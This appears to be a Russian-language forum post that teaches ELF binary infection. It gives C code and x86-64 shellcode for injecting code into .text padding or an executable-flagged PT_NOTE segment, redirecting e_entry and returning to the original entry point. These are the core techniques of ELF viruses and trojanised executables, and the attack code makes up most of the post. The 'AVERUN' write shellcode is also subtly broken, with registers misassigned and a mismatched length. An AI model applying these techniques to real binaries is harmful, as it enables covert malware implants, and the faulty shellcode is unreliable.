Admin
Администратор
Методы иньекции ELF файлов
В целом механизм выглядит так, для патча открывается ELF RO/RW, валидируется сигнатура 0x7F E L F, парсится Ehdr/Phdr/Shdr и извлеюся офсеты, виртуальные адреса и флаги. Далее точка входа, свободные байты выравниваниваются в .text, расширяется NOTE-сегмент или добавляется новая секция SHT_PROGBITS. В найденную область копируется шеллкод, правится p_filesz, p_memsz, можно выставить PF_X, а чтобы загрузчик действительно отработал патч код, меняется e_entry, впаивается jmp в _start или делается хук в .init_array. На выходе патченый ELF, при запуске исполняющий влитый байткод до/вместо оригинального потока.Открытие и маппинг ELF.
Часто используется единый механизм, файл открывается в одном из режимов RO/RW, после чего загружается в память fopen + mmap.
open_mode_t и mapped_file — структуры, инкапсулирующие информацию о режиме открытия, указателе на буфер.
elf_validate_filetype() - проверяет магическое число ELF и базовые поля заголовка.
file_load_target() - мапит файл в память.
elf_parse_file() - возвращает объект elf_t, внутри которого хранится Elf64_Ehdr ehdr, массив Elf64_Phdr phdrs, массив Elf64_Shdr shdrs.
Код:
open_mode_t mode;
struct mapped_file mf = {0};
FILE *fp = file_open_ro("some_elf", &mode);
if (!elf_validate_filetype(fp)) {
return -1;
}
// Загружаем в структуру mf
if (!file_load_target(&mf, fp, mode)) {
return -1;
}
// Парсим
elf_t *elfobj = elf_parse_file("some_elf", &mf);
if (!elfobj) {
return -1;
}
Функция, позволяющая найти индекс секции по имени:
Код:
elf_word_t text_idx = elf_parse_shdr_idx_byname(elfobj, ".text");
if (text_idx == (elf_word_t)-1) {
return -1;
}
Elf64_Shdr *text_sh = elfobj->shdrs[text_idx];
printf("Offset of .text: 0x%llx\n",
(unsigned long long)text_sh->sh_offset);
printf("Size of .text: 0x%llx\n",
(unsigned long long)text_sh->sh_size);
Инъекция в .text.
Используется паддинг, .text содержит выровненные интервалы, которые можно захватить. В примере есть функция, вычисляющая, сколько пробела осталось между концом секции и началом следующей. Если места достаточно, можно залить туда shellcode:
Код:
elf_word_t tidx = elf_parse_shdr_idx_byname(elfobj, ".text");
Elf64_Shdr *shdr_text = elfobj->shdrs[tidx];
// syscall exit(42)
static unsigned char scode[] = {
0x48, 0x31, 0xC0, // xor rax, rax
0xB0, 0x3C, // mov al, 0x3c
0x48, 0x31, 0xFF, // xor rdi, rdi
0xBF, 0x2A,0x00,0x00,0x00, // mov edi, 42
0x0F, 0x05 // syscall
};
// получаем offset свободного места + его размер
size_t offset_free;
size_t pad_size = find_text_padding(elfobj, tidx, &offset_free);
// Если шелкод укладывается
if (sizeof(scode) <= pad_size) {
memcpy(mf.data + offset_free, scode, sizeof(scode));
} else {
return -1;
}
Код:
((Elf64_Ehdr*)mf.data)->e_entry = shdr_text->sh_addr +
(offset_free - shdr_text->sh_offset);
Если .text впритык к другой секции, можно передвигать следующую секцию или обновлять p_filesz в Phdr, чтобы освободить место. Это более сложная операция, так как нужно сдвинуть все последующие секции на нужное количество байт.
Инъекция в NOTE-сегмент.
В некоторых бинарях есть сегмент PT_NOTE и секция SHT_NOTE с данными .note., типа .note.ABI-tag, часто неисполняемыми. Но если в этот сегмент установить флаги PF_X, туда также можно залить шеллкод. Далее меняется e_entry или другой способ передачи управления. После этого исполнение, стартуя из нового e_entry, попадает в зону NOTE, где лежит шеллкод. Чтобы не ломать функционал, можно встроить возврат либо jmp на старую e_entry, либо call old_entry:
Код:
int note_idx = find_note_segment(elfobj); // ищет PT_NOTE
if (note_idx < 0) {
return -1;
}
Elf64_Phdr *nhdr = elfobj->phdrs[note_idx];
// Исходный размер
Elf64_Off n_off = nhdr->p_offset;
Elf64_Xword n_size = nhdr->p_filesz;
// Расширить или уже free space
if (!check_note_space(nhdr, desired_payload_size)) {
return -1;
}
// payload
memcpy(mf.data + n_off + n_size, scode, desired_payload_size);
// Увеличение p_filesz и p_memsz
nhdr->p_filesz += desired_payload_size;
nhdr->p_memsz += desired_payload_size;
// Исполнение
nhdr->p_flags |= PF_X;
// Изменение e_entry
Elf64_Ehdr *eh = (Elf64_Ehdr *)mf.data;
eh->e_entry = nhdr->p_vaddr + n_size;
Вместо использования .text или NOTE можно добавить секцию SHT_PROGBITS и прописать соответствующий PT_LOAD. Это требует правки e_shoff, e_shnum, и аккуратного переноса содержимого, если таблица секций была в конце.
Патчинг точек входа, можно просто перезаписать e_entry. Но встречаются подходы: правка .init_array, если бинарь динамический. Инъекция jmp/call в _start или main. Для хуков конкретных символов подмена GOT/PLT.
Для PIE важно, что адреса в ELF на диске могут не совпадать с адресами в рантайме. Иногда, чтобы код исполнялся корректно, нужно дополнительно править GOT или заниматься символическими релокациями. Это часто обходится, внедрением shellcode, не зависящего от абсолютных адресов или используя rip относительные обращения.
При запуске бинарь начнёт выполнение с фрагмента втроенного шеллкода. Когда дойдёт до jmp rax, управление вернётся к оригинальной точке входа. С учётом выравнивания это показывает базовую идею, как встраивать код в ELF:
Код:
int patch_text_section(elf_t *elfobj, struct mapped_file *mf) {
// Ищем индекс .text
elf_word_t tidx = elf_parse_shdr_idx_byname(elfobj, ".text");
if (tidx == (elf_word_t)-1) return -1;
Elf64_Shdr *shdr_text = elfobj->shdrs[tidx];
// Ищем 0x40 байт в конце .text
size_t offset_free, pad_size;
if (find_free_text_area(elfobj, tidx, &offset_free, &pad_size) < 0) return -1;
if (pad_size < 0x40) return -1;
// Шеллкод "AVERUN\n" в stdout и jmp на оригинальный entry
static const unsigned char sc[] = {
0x48,0x31,0xC0, // xor rax, rax
0xB0,0x01, // mov al, 1 (sys_write)
0x48,0x31,0xDB, // xor rbx, rbx
0x48,0xBB,'A','V','E','R','U','N','\n',0x00,
0x53, // push rbx
0x48,0x89,0xE7, // mov rdi, rsp
0x48,0x31,0xD2, // xor rdx, rdx
0xB2,0x06, // mov dl, 6
0x0F,0x05, // syscall
// jmp original_entry
};
Elf64_Ehdr *ehdr = (Elf64_Ehdr *)mf->data;
Elf64_Addr old_entry = ehdr->e_entry;
// Добавляем в конец шеллкода команду jmp old_entry -relative
unsigned char scjmp[10] = {
0x48, 0xB8, /* mov rax, old_entry */
0,0,0,0,0,0,0,0, // 8 байт
// jmp rax
};
*(uint64_t*)(scjmp + 2) = old_entry;
unsigned char scjmp_tail[] = { 0xFF, 0xE0 }; // jmp rax
// Запись в .text
size_t cur = offset_free;
memcpy(mf->data + cur, sc, sizeof(sc));
cur += sizeof(sc);
memcpy(mf->data + cur, scjmp, sizeof(scjmp));
cur += sizeof(scjmp);
memcpy(mf->data + cur, scjmp_tail, sizeof(scjmp_tail));
// Изменение e_entry
Elf64_Addr new_eentry = shdr_text->sh_addr + (offset_free - shdr_text->sh_offset);
ehdr->e_entry = new_eentry;
return 0;
}